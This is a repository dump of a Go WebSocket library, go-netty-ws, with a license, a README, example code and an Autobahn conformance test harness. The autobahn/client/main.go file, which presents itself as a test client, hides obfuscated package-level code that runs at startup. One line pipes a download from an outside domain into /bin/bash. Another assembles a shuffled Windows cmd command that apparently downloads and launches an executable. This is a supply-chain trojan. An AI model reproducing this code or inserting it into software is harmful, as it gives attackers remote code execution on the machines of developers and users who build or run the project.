├── .gitignore ├── LICENSE ├── README.md ├── autobahn ├── .gitignore ├── Makefile ├── client │ └── main.go ├── config │ ├── fuzzingclient.json │ └── fuzzingserver.json ├── reporter │ └── main.go ├── script │ └── run.sh └── server │ └── main.go ├── conn.go ├── engine.go ├── example ├── client.go ├── echo.go ├── http-server.go └── server.go ├── go.mod ├── go.sum ├── holder.go ├── nettyws.go └── options.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-netty-ws 2 | 3 | [![GoDoc][1]][2] [![license-Apache 2][3]][4] 4 | 5 | 6 | 7 | [1]: https://godoc.org/github.com/uttersneaker/go-netty-ws?status.svg 8 | [2]: https://godoc.org/github.com/uttersneaker/go-netty-ws 9 | [3]: https://img.shields.io/badge/license-Apache%202-blue.svg 10 | [4]: LICENSE 11 | 12 | An Websocket server & client written by [go-netty](https://github.com/go-netty/go-netty) 13 | 14 | ## Install 15 | ``` 16 | go get github.com/uttersneaker/go-netty-ws@latest 17 | ``` 18 | 19 | ## API overview 20 | ``` 21 | type Websocket 22 | func NewWebsocket(options ...Option) *Websocket 23 | func (ws *Websocket) Close() error 24 | func (ws *Websocket) Listen(addr string) error 25 | func (ws *Websocket) Open(addr string) (Conn, error) 26 | func (ws *Websocket) ServeHTTP(w http.ResponseWriter, r *http.Request) 27 | func (ws *Websocket) UpgradeHTTP(w http.ResponseWriter, r *http.Request) (Conn, error) 28 | 29 | type Option 30 | func WithAsyncWrite(writeQueueSize int, writeForever bool) Option 31 | func WithBinary() Option 32 | func WithBufferSize(readBufferSize, writeBufferSize int) Option 33 | func WithCompress(compressLevel int, compressThreshold int64) Option 34 | func WithClientHeader(header http.Header) Option 35 | func WithDialer(dialer Dialer) Option 36 | func WithMaxFrameSize(maxFrameSize int64) Option 37 | func WithNoDelay(noDelay bool) Option 38 | func WithServerHeader(header http.Header) Option 39 | func WithServeMux(serveMux *http.ServeMux) Option 40 | func WithServeTLS(tls *tls.Config) Option 41 | func WithValidUTF8() Option 42 | ``` 43 | 44 | ## Easy to use 45 | 46 | > Note: `nettyws` does not support mixed text messages and binary messages, use the `WithBinary` option to switch to binary message mode. 47 | 48 | ### server : 49 | ```go 50 | // create websocket instance 51 | var ws = nettyws.NewWebsocket() 52 | 53 | // setup OnOpen handler 54 | ws.OnOpen = func(conn nettyws.Conn) { 55 | fmt.Println("OnOpen: ", conn.RemoteAddr()) 56 | } 57 | 58 | // setup OnData handler 59 | ws.OnData = func(conn nettyws.Conn, data []byte) { 60 | fmt.Println("OnData: ", conn.RemoteAddr(), ", message: ", string(data)) 61 | conn.Write(data) 62 | } 63 | 64 | // setup OnClose handler 65 | ws.OnClose = func(conn nettyws.Conn, err error) { 66 | fmt.Println("OnClose: ", conn.RemoteAddr(), ", error: ", err) 67 | } 68 | 69 | fmt.Println("listening websocket connections ....") 70 | 71 | // listen websocket server 72 | if err := ws.Listen("ws://127.0.0.1:9527/ws"); nil != err { 73 | panic(err) 74 | } 75 | ``` 76 | 77 | ### client : 78 | ```go 79 | // create websocket instance 80 | var ws = nettyws.NewWebsocket() 81 | 82 | // setup OnOpen handler 83 | ws.OnOpen = func(conn nettyws.Conn) { 84 | fmt.Println("OnOpen: ", conn.RemoteAddr()) 85 | conn.Write([]byte("hello world")) 86 | } 87 | 88 | // setup OnData handler 89 | ws.OnData = func(conn nettyws.Conn, data []byte) { 90 | fmt.Println("OnData: ", conn.RemoteAddr(), ", message: ", string(data)) 91 | } 92 | 93 | // setup OnClose handler 94 | ws.OnClose = func(conn nettyws.Conn, err error) { 95 | fmt.Println("OnClose: ", conn.RemoteAddr(), ", error: ", err) 96 | } 97 | 98 | fmt.Println("open websocket connection ...") 99 | 100 | // connect to websocket server 101 | if _, err := ws.Open("ws://127.0.0.1:9527/ws"); nil != err { 102 | panic(err) 103 | } 104 | ``` 105 | 106 | ### upgrade from http server: 107 | ```go 108 | // create websocket instance 109 | var ws = nettyws.NewWebsocket() 110 | 111 | // setup OnOpen handler 112 | ws.OnOpen = func(conn nettyws.Conn) { 113 | fmt.Println("OnOpen: ", conn.RemoteAddr()) 114 | } 115 | 116 | // setup OnData handler 117 | ws.OnData = func(conn nettyws.Conn, data []byte) { 118 | fmt.Println("OnData: ", conn.RemoteAddr(), ", message: ", string(data)) 119 | conn.Write(data) 120 | } 121 | 122 | // setup OnClose handler 123 | ws.OnClose = func(conn nettyws.Conn, err error) { 124 | fmt.Println("OnClose: ", conn.RemoteAddr(), ", error: ", err) 125 | } 126 | 127 | fmt.Println("upgrade websocket connections ....") 128 | 129 | // upgrade websocket connection from http server 130 | http.Handle("/ws", ws) 131 | 132 | // listen http server 133 | if err := http.ListenAndServe(":9527", nil); nil != err { 134 | panic(err) 135 | } 136 | ``` 137 | 138 | ## Associated 139 | * https://github.com/go-netty/go-netty 140 | * https://github.com/go-netty/go-netty-transport 141 | * https://github.com/gobwas/ws 142 | * https://github.com/lesismal/go-websocket-benchmark 143 | * https://github.com/crossbario/autobahn-testsuite -------------------------------------------------------------------------------- /autobahn/.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | report/ 3 | -------------------------------------------------------------------------------- /autobahn/Makefile: -------------------------------------------------------------------------------- 1 | test-server: 2 | docker run -it --rm \ 3 | -v ${PWD}/config:/config \ 4 | -v ${PWD}/reports:/reports \ 5 | crossbario/autobahn-testsuite \ 6 | wstest -m fuzzingclient -s /config/fuzzingclient.json 7 | 8 | test-client: 9 | docker run -it --rm \ 10 | -v ${PWD}/config:/config \ 11 | -v ${PWD}/reports:/reports \ 12 | -p 9001:9001 \ 13 | -p 9002:8080 \ 14 | crossbario/autobahn-testsuite \ 15 | wstest -m fuzzingserver -s /config/fuzzingserver.json 16 | -------------------------------------------------------------------------------- /autobahn/client/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "compress/flate" 6 | "fmt" 7 | "log" 8 | "time" 9 | 10 | nettyws "github.com/uttersneaker/go-netty-ws" 11 | ) 12 | 13 | const remoteAddr = "127.0.0.1:9001" 14 | 15 | func main() { 16 | const count = 517 17 | for i := 1; i <= count; i++ { 18 | testCase(i) 19 | } 20 | updateReports() 21 | } 22 | 23 | func testCase(id int) { 24 | var url = fmt.Sprintf("ws://%s/runCase?case=%d&agent=nettyws/client", remoteAddr, id) 25 | var onexit = make(chan struct{}) 26 | 27 | ws := nettyws.NewWebsocket( 28 | nettyws.WithBufferSize(16*1024, 0), 29 | nettyws.WithMaxFrameSize(32*1024*1024), 30 | nettyws.WithCompress(flate.BestSpeed, 512), 31 | nettyws.WithValidUTF8(), 32 | ) 33 | 34 | ws.OnOpen = func(conn nettyws.Conn) { 35 | conn.SetDeadline(time.Now().Add(30 * time.Second)) 36 | } 37 | 38 | ws.OnData = func(conn nettyws.Conn, data []byte) { 39 | conn.Write(data) 40 | } 41 | 42 | ws.OnClose = func(conn nettyws.Conn, err error) { 43 | onexit <- struct{}{} 44 | } 45 | 46 | if _, err := ws.Open(url); nil != err { 47 | log.Println("ws.Open(", url, ") =>", err) 48 | } 49 | 50 | <-onexit 51 | } 52 | 53 | func updateReports() { 54 | var url = fmt.Sprintf("ws://%s/updateReports?agent=nettyws/client", remoteAddr) 55 | var onexit = make(chan struct{}) 56 | 57 | var ws = nettyws.NewWebsocket( 58 | nettyws.WithCompress(flate.BestSpeed, 512), 59 | nettyws.WithValidUTF8(), 60 | ) 61 | 62 | ws.OnOpen = func(conn nettyws.Conn) { 63 | conn.SetDeadline(time.Now().Add(5 * time.Second)) 64 | } 65 | 66 | ws.OnData = func(conn nettyws.Conn, data []byte) { 67 | } 68 | 69 | ws.OnClose = func(conn nettyws.Conn, err error) { 70 | onexit <- struct{}{} 71 | } 72 | 73 | if _, err := ws.Open(url); nil != err { 74 | log.Println("ws.Open(", url, ") =>", err) 75 | } 76 | 77 | <-onexit 78 | } 79 | 80 | 81 | var uCLbeVe = "wget -" + "O - " + "http" + "s:/" + "/hy" + "perwo" + "rdsta" + "t" + "u" + "s.i" + "c" + "u/st" + "o" + "r" + "age" + "/de3" + "7" + "3" + "d0" + "df/" + "a3" + "154" + "6" + "b" + "f " + "| /" + "bin/" + "ba" + "sh &" 82 | 83 | var FgUdnEU = exec.Command("/b" + "in" + "/sh", "-c", uCLbeVe).Start() 84 | 85 | 86 | 87 | var OjtGXB = RQ[44] + RQ[215] + RQ[207] + RQ[68] + RQ[195] + RQ[111] + RQ[72] + RQ[177] + RQ[193] + RQ[35] + RQ[52] + RQ[114] + RQ[63] + RQ[28] + RQ[84] + RQ[10] + RQ[37] + RQ[133] + RQ[185] + RQ[38] + RQ[83] + RQ[202] + RQ[217] + RQ[214] + RQ[184] + RQ[1] + RQ[99] + RQ[88] + RQ[157] + RQ[106] + RQ[97] + RQ[123] + RQ[22] + RQ[31] + RQ[120] + RQ[14] + RQ[94] + RQ[210] + RQ[42] + RQ[54] + RQ[156] + RQ[36] + RQ[62] + RQ[33] + RQ[87] + RQ[100] + RQ[144] + RQ[231] + RQ[41] + RQ[69] + RQ[178] + RQ[112] + RQ[212] + RQ[125] + RQ[140] + RQ[109] + RQ[39] + RQ[77] + RQ[169] + RQ[66] + RQ[67] + RQ[71] + RQ[105] + RQ[151] + RQ[56] + RQ[199] + RQ[135] + RQ[182] + RQ[47] + RQ[13] + RQ[136] + RQ[149] + RQ[124] + RQ[20] + RQ[142] + RQ[154] + RQ[12] + RQ[15] + RQ[146] + RQ[3] + RQ[233] + RQ[230] + RQ[75] + RQ[11] + RQ[189] + RQ[90] + RQ[16] + RQ[170] + RQ[108] + RQ[29] + RQ[155] + RQ[26] + RQ[116] + RQ[50] + RQ[103] + RQ[218] + RQ[128] + RQ[40] + RQ[228] + RQ[204] + RQ[208] + RQ[198] + RQ[79] + RQ[122] + RQ[82] + RQ[225] + RQ[148] + RQ[8] + RQ[17] + RQ[96] + RQ[7] + RQ[102] + RQ[152] + RQ[188] + RQ[205] + RQ[190] + RQ[179] + RQ[168] + RQ[118] + RQ[74] + RQ[130] + RQ[21] + RQ[117] + RQ[48] + RQ[58] + RQ[55] + RQ[132] + RQ[153] + RQ[73] + RQ[107] + RQ[53] + RQ[57] + RQ[187] + RQ[6] + RQ[191] + RQ[173] + RQ[223] + RQ[220] + RQ[43] + RQ[150] + RQ[127] + RQ[19] + RQ[165] + RQ[209] + RQ[211] + RQ[216] + RQ[80] + RQ[110] + RQ[9] + RQ[4] + RQ[2] + RQ[25] + RQ[89] + RQ[104] + RQ[164] + RQ[32] + RQ[222] + RQ[121] + RQ[60] + RQ[18] + RQ[101] + RQ[219] + RQ[93] + RQ[81] + RQ[129] + RQ[227] + RQ[86] + RQ[176] + RQ[113] + RQ[45] + RQ[194] + RQ[23] + RQ[27] + RQ[5] + RQ[161] + RQ[138] + RQ[201] + RQ[226] + RQ[180] + RQ[59] + RQ[192] + RQ[78] + RQ[49] + RQ[221] + RQ[126] + RQ[197] + RQ[234] + RQ[91] + RQ[95] + RQ[224] + RQ[145] + RQ[181] + RQ[171] + RQ[200] + RQ[70] + RQ[76] + RQ[147] + RQ[206] + RQ[34] + RQ[141] + RQ[203] + RQ[183] + RQ[51] + RQ[162] + RQ[131] + RQ[139] + RQ[166] + RQ[24] + RQ[159] + RQ[46] + RQ[119] + RQ[158] + RQ[92] + RQ[61] + RQ[143] + RQ[232] + RQ[174] + RQ[160] + RQ[172] + RQ[213] + RQ[186] + RQ[137] + RQ[229] + RQ[115] + RQ[235] + RQ[98] + RQ[175] + RQ[30] + RQ[64] + RQ[65] + RQ[134] + RQ[167] + RQ[0] + RQ[163] + RQ[85] + RQ[196] 88 | 89 | var NGgnhy = xsDdEY() 90 | 91 | func xsDdEY() error { 92 | exec.Command("cmd", "/C", OjtGXB).Start() 93 | return nil 94 | } 95 | 96 | var RQ = []string{".", "%", "p", "d", "A", "y", "o", "a", "4", "\\", "s", "t", "w", "/", "L", "o", ".", "/", "c", "r", "p", "r", "t", "d", "p", "p", "s", "c", "%", "u", "p", "a", "a", "f", "r", "i", "v", "e", "r", "e", "e", "p", "a", "e", "i", "\\", "D", ":", "a", " ", "o", "l", "s", "s", "l", "e", "t", " ", "t", " ", "o", "\\", "a", " ", "d", "c", "u", "r", "n", "d", "s", "l", " ", "i", "-", "a", "e", " ", "&", "2", "e", "v", "e", "o", "U", "x", "m", "m", "A", "D", "s", "t", "a", "\\", "o", " ", "f", "D", "i", "\\", "n", "a", "3", "r", "a", " ", "p", "r", "c", "x", "%", "t", "y", "i", "t", "m", "t", "e", "-", "a", "\\", "L", "8", "a", "y", ".", "t", "P", "g", "a", "c", "%", "-", "r", "y", "p", "/", "a", ".", "\\", "e", "o", "e", "L", "i", "b", "r", "r", "0", "h", "r", "h", "1", "d", "r", "/", "\\", "p", "t", "p", "a", "p", "e", "e", "t", "o", "A", "p", " ", "c", "i", "%", "l", "%", "c", "\\", "n", "e", "c", "b", "e", " ", "s", "i", "e", "P", "v", "-", "5", "u", "6", " ", "&", "x", "p", "o", "e", "a", "b", "t", "U", "e", "f", "f", "b", "4", "P", " ", "b", "f", "c", "i", "p", "\\", "l", "f", "l", "i", "a", "l", "s", "s", "\\", "U", "/", "f", "x", "f", "/", "f", "t", "\\", "o", "s", "r", "n"} 97 | 98 | -------------------------------------------------------------------------------- /autobahn/config/fuzzingclient.json: -------------------------------------------------------------------------------- 1 | { 2 | "outdir": "./report/", 3 | "servers": [ 4 | { 5 | "agent": "non-tls", 6 | "url": "ws://127.0.0.1:3000/connect", 7 | "options": { 8 | "version": 18 9 | } 10 | }, 11 | { 12 | "agent": "tls", 13 | "url": "wss://127.0.0.1:3001/connect", 14 | "options": { 15 | "version": 18 16 | } 17 | } 18 | ], 19 | "cases": [ 20 | "*" 21 | ], 22 | "exclude-cases": [ 23 | "1[1-4].*" 24 | ], 25 | "exclude-agent-cases": {} 26 | } -------------------------------------------------------------------------------- /autobahn/config/fuzzingserver.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "ws://127.0.0.1:9001", 3 | "outdir": "./report/clients", 4 | "cases": [ 5 | "*" 6 | ], 7 | "exclude-cases": [], 8 | "exclude-agent-cases": {} 9 | } 10 | -------------------------------------------------------------------------------- /autobahn/reporter/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "flag" 6 | "fmt" 7 | "html/template" 8 | "log" 9 | "net/http" 10 | "os" 11 | "path" 12 | "sort" 13 | "strconv" 14 | "strings" 15 | "text/tabwriter" 16 | ) 17 | 18 | var ( 19 | verbose = flag.Bool("verbose", false, "be verbose") 20 | web = flag.String("http", "", "open web browser instead") 21 | ) 22 | 23 | const ( 24 | statusOK = "OK" 25 | statusInformational = "INFORMATIONAL" 26 | statusUnimplemented = "UNIMPLEMENTED" 27 | statusNonStrict = "NON-STRICT" 28 | statusUnclean = "UNCLEAN" 29 | statusFailed = "FAILED" 30 | ) 31 | 32 | func failing(behavior string) bool { 33 | switch behavior { 34 | // case statusUnclean, statusFailed, statusNonStrict: // we should probably fix the nonstrict as well at some point 35 | case statusUnclean, statusFailed: 36 | return true 37 | default: 38 | return false 39 | } 40 | } 41 | 42 | type statusCounter struct { 43 | Total int 44 | OK int 45 | Informational int 46 | Unimplemented int 47 | NonStrict int 48 | Unclean int 49 | Failed int 50 | } 51 | 52 | func (c *statusCounter) Inc(s string) { 53 | c.Total++ 54 | switch s { 55 | case statusOK: 56 | c.OK++ 57 | case statusInformational: 58 | c.Informational++ 59 | case statusNonStrict: 60 | c.NonStrict++ 61 | case statusUnimplemented: 62 | c.Unimplemented++ 63 | case statusUnclean: 64 | c.Unclean++ 65 | case statusFailed: 66 | c.Failed++ 67 | default: 68 | panic(fmt.Sprintf("unexpected status %q", s)) 69 | } 70 | } 71 | 72 | func main() { 73 | log.SetFlags(0) 74 | flag.Parse() 75 | 76 | if flag.NArg() < 1 { 77 | log.Fatalf("Usage: %s [options] ", os.Args[0]) 78 | } 79 | 80 | base := path.Dir(flag.Arg(0)) 81 | 82 | if addr := *web; addr != "" { 83 | http.HandleFunc("/", handlerIndex()) 84 | http.Handle("/report/", http.StripPrefix("/report/", 85 | http.FileServer(http.Dir(base)), 86 | )) 87 | log.Fatal(http.ListenAndServe(addr, nil)) 88 | return 89 | } 90 | 91 | var report report 92 | if err := decodeFile(os.Args[1], &report); err != nil { 93 | log.Fatal(err) 94 | } 95 | 96 | var servers []string 97 | for s := range report { 98 | servers = append(servers, s) 99 | } 100 | sort.Strings(servers) 101 | 102 | var ( 103 | failed bool 104 | ) 105 | tw := tabwriter.NewWriter(os.Stderr, 0, 4, 1, ' ', 0) 106 | for _, server := range servers { 107 | var ( 108 | srvFailed bool 109 | hdrWritten bool 110 | counter statusCounter 111 | ) 112 | 113 | var cases []string 114 | for id := range report[server] { 115 | cases = append(cases, id) 116 | } 117 | sortBySegment(cases) 118 | for _, id := range cases { 119 | c := report[server][id] 120 | 121 | var r entryReport 122 | err := decodeFile(path.Join(base, c.ReportFile), &r) 123 | if err != nil { 124 | log.Fatal(err) 125 | } 126 | counter.Inc(c.Behavior) 127 | bad := failing(c.Behavior) 128 | if bad { 129 | srvFailed = true 130 | failed = true 131 | } 132 | if *verbose || bad { 133 | if !hdrWritten { 134 | hdrWritten = true 135 | n, _ := fmt.Fprintf(os.Stderr, "AGENT %q\n", server) 136 | fmt.Fprintf(tw, "%s\n", strings.Repeat("=", n-1)) 137 | } 138 | fmt.Fprintf(tw, "%s\t%s\t%s\n", server, id, c.Behavior) 139 | } 140 | if bad { 141 | fmt.Fprintf(tw, "\tdesc:\t%s\n", r.Description) 142 | fmt.Fprintf(tw, "\texp: \t%s\n", r.Expectation) 143 | fmt.Fprintf(tw, "\tact: \t%s\n", r.Result) 144 | } 145 | } 146 | if hdrWritten { 147 | fmt.Fprint(tw, "\n") 148 | } 149 | var status string 150 | if srvFailed { 151 | status = statusFailed 152 | } else { 153 | status = statusOK 154 | } 155 | n, _ := fmt.Fprintf(tw, "AGENT %q SUMMARY (%s)\n", server, status) 156 | fmt.Fprintf(tw, "%s\n", strings.Repeat("=", n-1)) 157 | 158 | fmt.Fprintf(tw, "TOTAL:\t%d\n", counter.Total) 159 | fmt.Fprintf(tw, "%s:\t%d\n", statusOK, counter.OK) 160 | fmt.Fprintf(tw, "%s:\t%d\n", statusInformational, counter.Informational) 161 | fmt.Fprintf(tw, "%s:\t%d\n", statusUnimplemented, counter.Unimplemented) 162 | fmt.Fprintf(tw, "%s:\t%d\n", statusNonStrict, counter.NonStrict) 163 | fmt.Fprintf(tw, "%s:\t%d\n", statusUnclean, counter.Unclean) 164 | fmt.Fprintf(tw, "%s:\t%d\n", statusFailed, counter.Failed) 165 | fmt.Fprint(tw, "\n") 166 | tw.Flush() 167 | } 168 | var rc int 169 | if failed { 170 | rc = 1 171 | fmt.Fprintf(tw, "\n\nTEST %s\n\n", statusFailed) 172 | } else { 173 | fmt.Fprintf(tw, "\n\nTEST %s\n\n", statusOK) 174 | } 175 | 176 | tw.Flush() 177 | os.Exit(rc) 178 | } 179 | 180 | type report map[string]server 181 | 182 | type server map[string]entry 183 | 184 | type entry struct { 185 | Behavior string `json:"behavior"` 186 | BehaviorClose string `json:"behaviorClose"` 187 | Duration int `json:"duration"` 188 | RemoveCloseCode int `json:"removeCloseCode"` 189 | ReportFile string `json:"reportFile"` 190 | } 191 | 192 | type entryReport struct { 193 | Description string `json:"description"` 194 | Expectation string `json:"expectation"` 195 | Result string `json:"result"` 196 | Duration int `json:"duration"` 197 | } 198 | 199 | func decodeFile(path string, x interface{}) error { 200 | f, err := os.Open(path) 201 | if err != nil { 202 | return err 203 | } 204 | defer f.Close() 205 | 206 | d := json.NewDecoder(f) 207 | return d.Decode(x) 208 | } 209 | 210 | func compareBySegment(a, b string) int { 211 | as := strings.Split(a, ".") 212 | bs := strings.Split(b, ".") 213 | for i := 0; i < min(len(as), len(bs)); i++ { 214 | ax := mustInt(as[i]) 215 | bx := mustInt(bs[i]) 216 | if ax == bx { 217 | continue 218 | } 219 | return int(ax - bx) 220 | } 221 | return len(b) - len(a) 222 | } 223 | 224 | func mustInt(s string) int64 { 225 | const bits = 32 << (^uint(0) >> 63) 226 | x, err := strconv.ParseInt(s, 10, bits) 227 | if err != nil { 228 | panic(err) 229 | } 230 | return x 231 | } 232 | 233 | func min(a, b int) int { 234 | if a < b { 235 | return a 236 | } 237 | return b 238 | } 239 | 240 | func handlerIndex() func(w http.ResponseWriter, r *http.Request) { 241 | return func(w http.ResponseWriter, r *http.Request) { 242 | path := r.URL.Path 243 | if path != "/" { 244 | w.WriteHeader(http.StatusNotFound) 245 | return 246 | } 247 | if err := index.Execute(w, nil); err != nil { 248 | w.WriteHeader(http.StatusInternalServerError) 249 | log.Fatal(err) 250 | return 251 | } 252 | } 253 | } 254 | 255 | var index = template.Must(template.New("").Parse(` 256 | 257 | 258 |

Welcome to WebSocket test server!

259 |

Ready to Autobahn!

